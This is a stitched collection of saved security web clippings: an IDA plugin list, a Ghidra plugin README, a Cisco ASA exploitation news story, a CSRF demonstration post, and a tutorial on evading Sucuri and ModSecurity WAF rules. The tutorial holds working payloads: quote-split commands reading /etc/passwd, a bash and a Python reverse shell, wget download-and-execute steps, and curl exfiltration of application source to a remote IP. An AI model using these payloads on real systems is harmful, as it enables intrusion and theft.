inside a database for the detection process.

  * ### Snowman Decompiler
Snowman is a native code to C/C++ decompiler. Standalone and IDA Plugin.
Source Code

  * ### Splode
Augmenting Static Reverse Engineering with Dynamic Analysis and
Instrumentation

  * ### spu3dbg
Ida Pro debugger module for the anergistic SPU emulator.

  * ### Synergy
A combination of an IDAPython Plugin and a control version system that result
in a new reverse engineering collaborative addon for IDA Pro. By
http://cubicalabs.com/

  * ### Tarkus
Tarkus is a plugin manager for IDA Pro, modelled after Python’s pip.

  * ### VirusBattle
The plugin is an integration of Virus Battle API to the well known IDA
Disassembler. Virusbattle is a web service that analyses malware and other
binaries with a variety of advanced static and dynamic analyses.

  * ### Win32 LST to Inline Assembly
Python script which extracts procedures from IDA Win32 LST files and converts
them to correctly dynamically linked compilable Visual C++ inline assembly.

  * ### WinIOCtlDecoder
An IDA Pro plugin which decodes a Windows Device I/O control code into
DeviceType, FunctionCode, AccessType and MethodType.

  * ### Xex Loader for IDA 6.6
This adds the ability to load xex files into IDA directly without having to
first process them in any way. It processes the xex file as much as possible
while loading to minimise the work required by the user to get it to a state
fit for reversing.

  * ### X86Emu
Its purpose is to allow a reverse engineer the chance to step through x86 code
while reverse engineering a binary. The plugin can help you step through any
x86 binary from any platform. For Windows binaries, many common library calls
are trapped and emulated by the emulator, allowing for a higher fidelity
emulation. I find it particularly useful for stepping through obfuscated code
as it automatically reorganizes an IDA disassembly based on actual code paths.



This list has been compiled by onethawt

* * *
Rate Here

Value

71%

Overall Rating

61%

66%

10 ratings



OWND

0%



Cool

10%



Nice

80%



WHAT ?

0%



MEH

0%



zzzZZzz

0%



Rage

10%

  

# Web Application Firewall \(WAF\) Evasion Techniques \#2

**Created:**| _9/23/2018 8:48:01 AM_  
---|---  
**Updated:**| _9/23/2018 8:48:01 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec_  
  

  

# Web Application Firewall \(WAF\) Evasion Techniques \#2

## String concatenation in a Remote Command Execution payload makes you able
to bypass firewall rules \(Sucuri, ModSecurity\)

<img src='img/Temp2_9374.png' width='75' height='63' /><img src='img/1*7tk-
Iigi5QoYnu9CxRwk7g.jpeg' width='700' height='600' />

In the **first part of WAF Evasion Techniques**, we’ve seen how to bypass a
WAF rule using wildcards and, more specifically, using **the question mark
wildcard**. Obviously, there are many others ways to bypass a WAF Rule Set and
I think that each attack has their specific evasion technique. For example:
using comment syntax inside a SQL Injection payload could bypass many filters.
I mean instead using `union+select` you can use something like:

`/?id=1+un/**/ion+sel/**/ect+1,2,3--`

This is a great technique, and it works well **when the target WAF has a low
paranoia level** that allows asterisk `*` and hyphen characters. This should
works just for SQL Injection and **it can’t be used in order to exploit a
Local File Inclusion or a Remote Command Execution**. For some specific
scenarios, there’s “a real nightmare” for a WAF that need to protect a web
application from Remote Command Execution attacks… it’s called **concatenated
strings**.

If you want to practice with some of these evasion techniques, recently I’ve
created FluxCapacitor, an intentionally vulnerable virtual machine at
hackthebox. This article don’t contain any hint to solve the specific scenario
of FluxCapacitor but could improve your knowledge about this technique.

### Concatenation

In many programming languages, string concatenation is a binary infix
operator. The `+` \(plus\) operator is often overloaded to denote
concatenation for string arguments: `"Hello, " + "World"` has the value
`"Hello, World"`. In other languages there is a separate operator,
particularly to specify implicit type conversion to string, as opposed to more
complicated behavior for generic plus. Examples include `.` in Perl and PHP,
`..` in Lua, etc… For example:

[code]

    $ php -r 'echo "hello"." world"."\n";'  
    hello world
[/code]

[code]

    $ python -c 'print "hello" + " world"'  
    hello world
[/code]

But if you’re thinking that this is the only way to concatenate strings,
**you’re absolutely wrong monsieur** 🧐

In a few languages like notably C, C++, Python, and the scripting languages /
syntax which can be found in **Bash** , there is something called **string
literal concatenation** , meaning that adjacent string literals are
concatenated, without any operator: `"Hello, " "World"` has the value `"Hello,
World"`. This works not only for printf and echo commands, but for the whole
bash syntax. Let start from the beginning.

**Each one of the following commands have the same result:**

[code]

    # echo test  
    # echo 't'e's't  
    # echo 'te'st  
    # echo 'te'st''  
    # echo 'te'''st''  
    # python -c 'print "te" "st"'
[/code]

<img src='img/Temp2_9373.png' width='75' height='23' /><img
src='img/1*pA_VYR_xF-XTJPtDvKgJqA.png' width='700' height='232' />

Concatenated strings test using Bash and Python

This happens because all adjacent string literals are concatenated in Bash. In
fact `'te's't'` is composed of three strings: the string `te`, the string `s`
and the string `t`. **This syntax could be used to bypass a filter** \(or a
WAF rule\) that is based on “match phrases” \(for example, the pm operator in
ModSecurity\).

The Rule `SecRule ARGS "@pm passwd shadow groups"…` in ModSecurity will block
all requests containing `passwd` or `shadow`. But what if we convert them to
`pa'ss'wd` or `sh'ad'ow`? Like the SQLi syntax we’ve seen before, that split a
query using comments, here too we can split filenames and system commands
using the single quote `'` and creating groups of concatenated strings. Of
course, you can use a concatenated string as an argument of any command but
not only… Bash allows you to concatenate path even for execution\!

A few examples of the same command:

[code]

    $ /bin/cat /etc/passwd  
    $ /bin/cat /e'tc'/pa'ss'wd  
    $ /bin/c'at' /e'tc'/pa'ss'wd  
    $ /b'i'n/c'a't /e't'c/p'a's's'w'd'
[/code]

<img src='img/Temp2_9382.png' width='75' height='15' />

<img src='img/Temp2_9379.png' width='75' height='12' />

Using a concatenated string as an argument of cat command or as a path for the
cat executable

Now, let’s say that **you’ve discovered a remote command execution** on the
**url parameter** of your application. If there’s a rule that blocks phrases
like “ _etc, passwd, shadow, etc…_ ” **you could bypass it** with something
like this:

[code]

    curl .../?url=;+**cat** +**/e't'c/pa'ss'wd**
[/code]

It’s time to make some tests\! I’ll use the following PHP code in order to
test it, as usual, **behind****Sucuri WAF****and****ModSecurity**. Probably,
reading this code, you’ll think that it’s too much stupid and simple and that
no one uses `curl` inside a `system()` function instead of using the PHP curl
functions… **If you think it, you live in a better world than mine\!** :\) You
would be surprised at how many times I read this kind of thing inside source
code of applications in production. The PHP code that I’ll use is:

[code]

    <?php
[/code]

[code]

       if ( isset($_GET['zzz']) ) {  
          system('curl -v '.$_GET['zzz']);  
       }
[/code]

### Having fun with Sucuri WAF

I think that someone at Sucuri will delete my account soon after this two
articles 😁 But, I swear: **I use Sucuri WAF** for a comparison with my
ModSecurity, **not because** I think that **one is better than other one**.
Sucuri has a great service and I use it as an example just because it’s widely
used and all their users, reading this article, could test better this
techniques on their web applications.

First of all, I try to use this PHP application in order to get the response
body of _google.com_ without encoding the parameter’s value:

[code]

    curl -v 'http://test1.unicresit.it/?zzz=google.com'
[/code]

It works as expected, google.com 302 page says that I should follow the
location www.google.de \(google rightly geolocalize my server at Frankfurt\):

<img src='img/Temp2_9380.png' width='75' height='47' />

Now, there’re many things that I could do in order to exploit this vulnerable
application. One of this thing is to break the `curl` syntax with a semicolon
`;` and try to execute others system commands. Sucuri gets angry when I try to
read the _/etc/passwd_ file… For example:

[code]

    curl -v 'http://test1.unicresit.it/?zzz=**;** +**cat** +**/etc/passwd** '
[/code]

went blocked by Sucuri WAF for the following reason: “ _An attempted RFI/LFI
was detected and blocked_ ”. I think \(just a supposition, because users can’t
see the details of a Sucuri WAF rule\) that the Sucuri “RFI/LFI Attempt” rule
uses something like the “match phrases” that we’ve seen before, with a list of
common path and filenames like `etc/passwd`. This WAF has a very minimalist
rule set and a very low “paranoia level” that **allows me to bypass this rule
using just two single quotes\!**

[code]

    curl -v "http://test1.unicresit.it/?zzz=;+**cat** +**/e'tc/pass'wd** "
[/code]

<img src='img/Temp2_9377.png' width='75' height='47' />

Sucuri WAF evasion using two single quote

I know what you’re thinking: “Ok, you can read the passwd file bypassing all
WAF’s rule set… but the real, biggest, most important and mother of all
questions is: **can you get a shell** even Sucuri WAF is active and protect
your application?” **natürlich yes\!** The only problem is that we can’t use
netcat, because it isn’t installed on the target container and yes: I’ve
checked it using the remote command execution :\)

[code]

    $ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"  
    /bin/ls
[/code]

[code]

    $ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"
[/code]

[code]

    $
[/code]

The easiest way \(with few special characters that could be blocked by WAF\)
is to use the `bash -i` command: `bash -i >& /dev/tcp/1.1.1.1/1337 0>&1`, but
unfortunately is too complicated to bypass all rule set with this payload, and
this means that it’ll be hard to use some PHP, Perl or Python code in order to
obtain it. Sucuri WAF blocks my attempts with this reason: **Obfuscated attack
payload detected**. Cool\! isn’t it?

Instead of trying to get a shell by executing directly on the vulnerable
parameter, I can try to **upload a Python reverse shell** to a writable
directory using `curl` or `wget`. First, prepare the python code `vi
shell.py`:

[code]

    #!/usr/bin/python
[/code]

[code]

    import socket,subprocess,os;  
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  
    s.connect(("<my ip address>",2375));  
    os.dup2(s.fileno(),0);  
    os.dup2(s.fileno(),1);  
    os.dup2(s.fileno(),2);  
    p=subprocess.call(["/bin/sh","-i"]);
[/code]

Then expose a webserver reachable from the target, as usual using `python -c
SimpleHTTPServer` or `php -S`, etc… Then download the _shell.py_ file from the
target website, I’ve used the following syntax:

[code]

    curl -v '.../?zzz=**< myip>:2375/shell.py**+**-o** +**/tmp/shell.py** '
[/code]

<img src='img/Temp2_9381.png' width='75' height='13' />

shell uploaded using curl

<img src='img/Temp2_9375.png' width='75' height='16' />

python reverse shell thru the Sucuri WAF

Ok, Sucuri WAF hasn’t blocked this request, but usually ModSecurity blocks
this kind of shit :\) If you want to be sure to bypass all “match phrases”
rule types, you could use **wget** \+ **ip-to-long conversion** \+ **string
concatenation** :

[code]

    .../?zzz=**wg'e't 168431108 -P tmp  
    **.../?zzz=**c'hm'od 777 -R tmp  
    **.../?zzz=**/t'm'p/index.html**
[/code]

The first command uses `wget` to download the shell file in `/tmp/`. The
second one uses `chmod` to make it executable and the third executes it. As
you can see, there isn’t a specific file on the wget command request, so the
downloaded file is named _index.html_ by `wget`. You could expose this file
using netcat `nc` by writing the response headers and response body by hand,
something like this:

<img src='img/Temp2_9378.png' width='75' height='46' />

Using netcat to answer the HTTP request from RCE

Now the hardest part…

### Bypass ModSecurity and the OWASP Core Rule Set

Probably you’re thinking that with a low paranoia level you could bypass the
OWASP Core Rule Set with this techniques as we’ve seen on the first article…
**hmm basically no**. This because of two little things called
**normalizePath** and**cmdLine**. In ModSecurity they are called
“transformation function” and are used to alter input data before it is used
in matching \(for example, operator execution\). The input data is never
modified. ModSecurity will create a copy of the data, transform it, and then
run the operator against the result.

**normalizePath** : It removes multiple slashes, directory self-references,
and directory back-references \(except when at the beginning of the input\)
from input string.

**cmdLine** : will break all your pentester dreams :\) developed by Marc
Stern, this transformation function avoids using escape sequences by
normalizing the value of parameters and triggering all rules like LFI, RCE,
Unix Command, etc… For example `/e't'c/pa'ss'wd` is normalized to
`/etc/passwd` before any rule evaluation. It does a lot of things\! like:

  * •deleting all backslashes `\`
  * •deleting all double quotes `"`
  * •deleting all sigle quotes `'`
  * •deleting all carets `^`
  * •deleting spaces before a slash `/`
  * •deleting spaces before an open parentheses `(`
  * •replacing all commas `,` and semicolon `;` into a space
  * •replacing all multiple spaces \(including tab, newline, etc.\) into one space
  * •transform all characters to lowercase

All attempts to exploit the RCE with a concatenated string are blocked by the
rule 932160 because of the cmdLine transformation function:

[code]

    Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` **cat /e't'c/pa'ss'wd'** )"
[/code]

[code]

    "o5,10v10,20t:urlDecodeUni,**t:cmdLine** ,**t:normalizePath** ,t:lowercase"
[/code]

[code]

    "ruleId":"932160"
[/code]

Ok, I can’t read _/etc/passwd_ but don’t despair\! The OWASP Core Rule Set
knows commons files, paths, and commands in order to block them but**it can’t
do the same with the source code of the target application**. I can’t use the
semicolon `;` character \(and it means that I can’t break the `curl` syntax\)
but I can use `curl` in order to exfiltrate files and send it to my remote
server. This will work with a paranoia level from 0 to 3.

The trick is to send files to a remote server in the request body of a POST
HTTP request, and `curl` can do it by using the _data_ parameter `-d`:

[code]

    curl -d @/<file> <remote server>
[/code]

Following the request, encoding `@` to `%40`:

[code]

    curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"
[/code]

<img src='img/Temp2_9376.png' width='75' height='25' />

exfiltrate a PHP file from target application \(behind ModSecurity\) to a
remote server

All this will not work if the target has a paranoia level set to 4 because the
payload contains characters like hyphen, forward slash, etc… The good news is
that a paranoia level of 4 is really rare to find in a production environment.

### Backslash is the new single quote :\)

The same technique works using the backslash `\` character too. This is not a
concatenation string but just an escape sequence:

<img src='img/Temp2_9372.png' width='75' height='40' />

That’s all for now. So long and thanks for all the fish\!

-theMiddle
### Useful links

Bypass a WAF by **Positive Technology**
https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-
ENG.pdf

Web Application Firewalls: Attacking detection logic mechanisms by **Vladimir
Ivanov**\(blackhat USA
2016\)****https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-
Application-Firewalls-Analysis-Of-Detection-Logic.pdf

SQLi bypassing WAF on OWASP by **Dhiraj Mishra**
https://www.owasp.org/index.php/SQL\_Injection\_Bypassing\_WAF

### Thanks to

All HTB users that shared with me their approach to FluxCapacitor and notably:
arkantolo, snowscan, decoder, phra

### Contacts

Andrea \(**theMiddle**\) Menin  
Twitter: https://twitter.com/Menin\_TheMiddle  
GitHub: https://github.com/theMiddleBlue  
Linkedin: https://www.linkedin.com/in/andreamenin/

  

# That mega-vulnerability Cisco dropped is now under exploit

**Created:**| _3/7/2018 8:31:16 AM_  
---|---  
**Updated:**| _3/7/2018 8:31:16 AM_  
**Author:**| _wishi_  
**Tags:**| _cisco vpn asa_  
  

  

# That mega-vulnerability Cisco dropped is now under exploit

## Bug with maximum severity rating is generating plenty of interest among
hackers.

Dan Goodin \- 2/10/2018, 12:45 AM

<img src='img/asa-vuln-800x416.png' width='576' height='300' />

Enlarge

Cisco

Hackers are actively trying to exploit a high-severity vulnerability in widely
used Cisco networking software that can give complete control over protected
networks and access to all traffic passing over them, the company has warned.

When Cisco officials disclosed the bug last week in a range of Adaptive
Security Appliance products, they said they had no evidence anyone was
actively exploiting it. Earlier this week, the officials updated their
advisory to indicate that was no longer the case.

### ARS TRENDING VIDEO

### Didgeridoos and Don'ts to treat sleep apnea

"The Cisco Product Security Incident Response Team \(PSIRT\) is aware of
public knowledge of the vulnerability that is described in this advisory," the
officials wrote. "Cisco PSIRT is aware of attempted malicious use of the
vulnerability described in this advisory."

The update didn't say how widespread the attacks are, whether any of them are
succeeding, or who is carrying them out. On Twitter on Thursday, Craig
Williams, a Cisco researcher and director of outreach for Cisco's Talos
security team, wrote of the vulnerability: "This is not a drill..Patch
immediately. Exploitation, albeit lame DoS so far, has been observed in the
field."

The tweet seemed to suggest that effective code-execution attacks had yet to
succeed in the active attacks. A separate tweet from independent researcher
Kevin Beaumont on Friday shortly before this post stated: "Somebody just tried
the Cisco ASA vulnerability on my honeypot.

In a follow-up tweet, Beaumont also indicated the attack didn't successfully
execute code.

The warning of the in-the-wild exploit attempts came around the same time
Cisco warned that the vulnerability—already carrying the maximum severity
rating of 10 under the Common Vulnerability Scoring System—posed an even
greater threat than originally believed. The revised assessment was based on a
detailed investigation Cisco researchers carried out after issuing last week's
initial advisory, which was based on findings from outside security firm NCC
Group. As a result of the new findings, Cisco issued a new set of patches to
replace the ones it released earlier.

"After broadening the investigation, Cisco engineers found other attack
vectors and features that are affected by this vulnerability that were not
originally identified by the NCC Group and subsequently updated the security
advisory, Cisco officials wrote on Monday. "In addition, it was also found
that the original list of fixed releases published in the security advisory
were later found to be vulnerable to additional denial of service conditions."

The vulnerability's maximum severity rating results from the relative ease in
exploiting it, combined with the extraordinary control if gives successful
attackers. Devices running Cisco ASA software typically sit at the edge of a
protected network, making them easy for outsiders to locate. Once exploited,
the devices allow remote hackers to seize administrative control of networks
and to monitor all traffic that passes through them. Affected Cisco products
include:

  * 3000 Series Industrial Security Appliance \(ISA\)
  * ASA 5500 Series Adaptive Security Appliances
  * ASA 5500-X Series Next-Generation Firewalls
  * ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
  * ASA 1000V Cloud Firewall
  * Adaptive Security Virtual Appliance \(ASAv\)
  * Firepower 2100 Series Security Appliance
  * Firepower 4110 Security Appliance
  * Firepower 4120 Security Appliance
  * Firepower 4140 Security Appliance
  * Firepower 4150 Security Appliance
  * Firepower 9300 ASA Security Module
  * Firepower Threat Defense Software \(FTD\)
  * FTD Virtual

People using one of these devices should make sure as soon as possible that
they're protected with the latest patches.

  

# quosego/ghidra.hues

**Created:**| _5/10/2019 8:41:15 AM_  
---|---  
**Updated:**| _5/10/2019 8:41:15 AM_  
**Author:**| __  
**Tags:**| _plugin ghidra_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='749' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>ghidra.hues

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='751' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Ghidra: Hues - The Color Plugin

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='56'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='753' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Brief

This is a simple plugin which provides different colors to the GHIDRA
environment.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='756' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Demo

<img src='img/MPeg6GJ4Zr.gif' width='882' height='531' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='58'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='759' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Building

Run gradlew.bat

Gradle build outputs can be found in
Hues//dist//ghidra\_A.B\_PUBLIC\_ZZZZYYXX\_Hues.zip

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='59'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='763' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Installing

  1. Download the recent release
  2. Extract Hues folder from Zip into GHIDRA\_INSTALL\_DIR//Ghidra//Extensions//
  3. Start Ghidra, a prompt of a new plugin has been found should show
  4. Activate prompt and start using

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='60'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='770' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Todos

  * Taskbar Icon
  * Clean Source Code
  * Avoid theme overwrites
  * Profile Management
  * Update Documentation
  * Display Preview Sample
  * Auto Configuration Saving
  * Selected Window Colorization

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='61'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='781' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Origin

  * issue \#13

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='62'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='785' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Developer

  * "quosego"

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='63'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='789' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>License

This project is licensed under the Apache License 2.0 \(Apache-2.0\). See the
LICENSE.md file for details.

# Jeremiah Grossman: Spoofing Google search history with CSRF

**Created:**| _12/14/2010 9:09:27 AM_  
---|---  
**Updated:**| _12/14/2010 9:09:40 AM_  
**Author:**| __  
**Tags:**| _attacks Google spam csrf_  
  

### Spoofing Google search history with CSRF

Let’s assume, dear Web surfer, that I can get you to visit a Web page I
control. Just like the page on my blog you’re reading right now. Once you do,
by nature of the way the Web works, near complete control of your Web browser
is transferred to me as long as you are here. I can invisibly force your
browser to initiate online bank wire transfers, post offensive message board
comments, vote Jullian Assange as Times Person of the Year, upload illegal
material, hack other websites and essentially whatever else I can think up.
Worse still, on the receiving end, all the logs will point back to you. Not
me.  
  
If you don’t believe me keep reading. I already made you search Google for
something a little embarrassing. And no, this is not something anti-virus
scanners can do anything about.  
  
The technical term for this type of attack is Cross-Site Request Forgery
\(CSRF\) and years back I called it the sleeping giant. If you happen to be
one of the legions of Web developers who have never heard of CSRF then chances
are every feature of every website you’ve ever built is vulnerable. Millions
of other websites out there are suffering the same problem. With same
technology \(HTML and JavaScript\) that Web pages use to include images,
audio, video, banners, trackers, counters etc from all over the internet, any
website owner can instruct a victim’s browser to send arbitrary HTTP requests
to any website of their choosing.  
  
Generally, Web browsers generate two different types of HTTP requests, GET and
POST. For the sake of demonstration here we’ll be focusing only on GET. POSTs
require a tiny bit more code. To have someones browser send a particular GET
request, like a Google Search for example, is extremely simple.  
  
1\) Search Google something like “Justin Bieber fan club” and copy the URL in
the location bar.  
  
<img src='img/Temp2_4693.png' />  
2\) Paste the Google search URL into an HTML IMG tag and zero out the height,
width, and border to make it invisible.  
  
<\* IMG
SRC="http://www.google.com/search?hl=en&q=Justin+Bieber+fan+club&btnG=Search&aq=f&aqi=&aql=&oq=&gs\_rfai="
WIDTH="0" HEIGHT="0" BORDER="0" \*>  
  
3\) Load this code into a Web page, like this one, and voila\! When the a Web
surfer arrives their browser will execute the code and perform the exact same
search \(see HTTP request screen shot\).  
  
<img src='img/Temp2_4695.png' />Obviously then any website owner can make your
browser search for anything on Google, anything at all. Keep in mind that if
the victim is logged-in, their session cookies will be automatically be sent
as well. This is a key point about CSRF attacks. Forged HTTP requests are
authenticated if the user had previously logged-in to the target website.  
  
If you happen to be logged-in to Google right now, go check your Web search
history. Maybe you’ll see something in there you didn’t search for. It might
look something like this... :\)  
  
<img src='img/Temp2_4694.png' />  

# Changing the cursor shape in Windows proven difficult by NVIDIA \(and AMD\) | j00ru//vx tech blog
**Created:**| _9/27/2013 11:09:46 AM_  
---|---  
**Updated:**| _9/27/2013 11:09:46 AM_  
**Author:**| __  
**Tags:**| _windows security GPU Driver_  
  

# **C** hanging the cursor shape in Windows proven difficult by NVIDIA \(and
AMD****\)

If you work in the software engineering or information security field, you
should be familiar with all sorts of software bugs – the functional and
logical ones, those found during the development and internal testing along
with those found and reported by a number of complaining users, those that
manifest themselves in the form of occassional, minor glitches in your
system’s logic and those that can lose your company 440 million US dollars in
30 minutes ; not to mention bugs which can enable attackers to remotely
execute arbitrary code on your computer without you even realizing it**.**
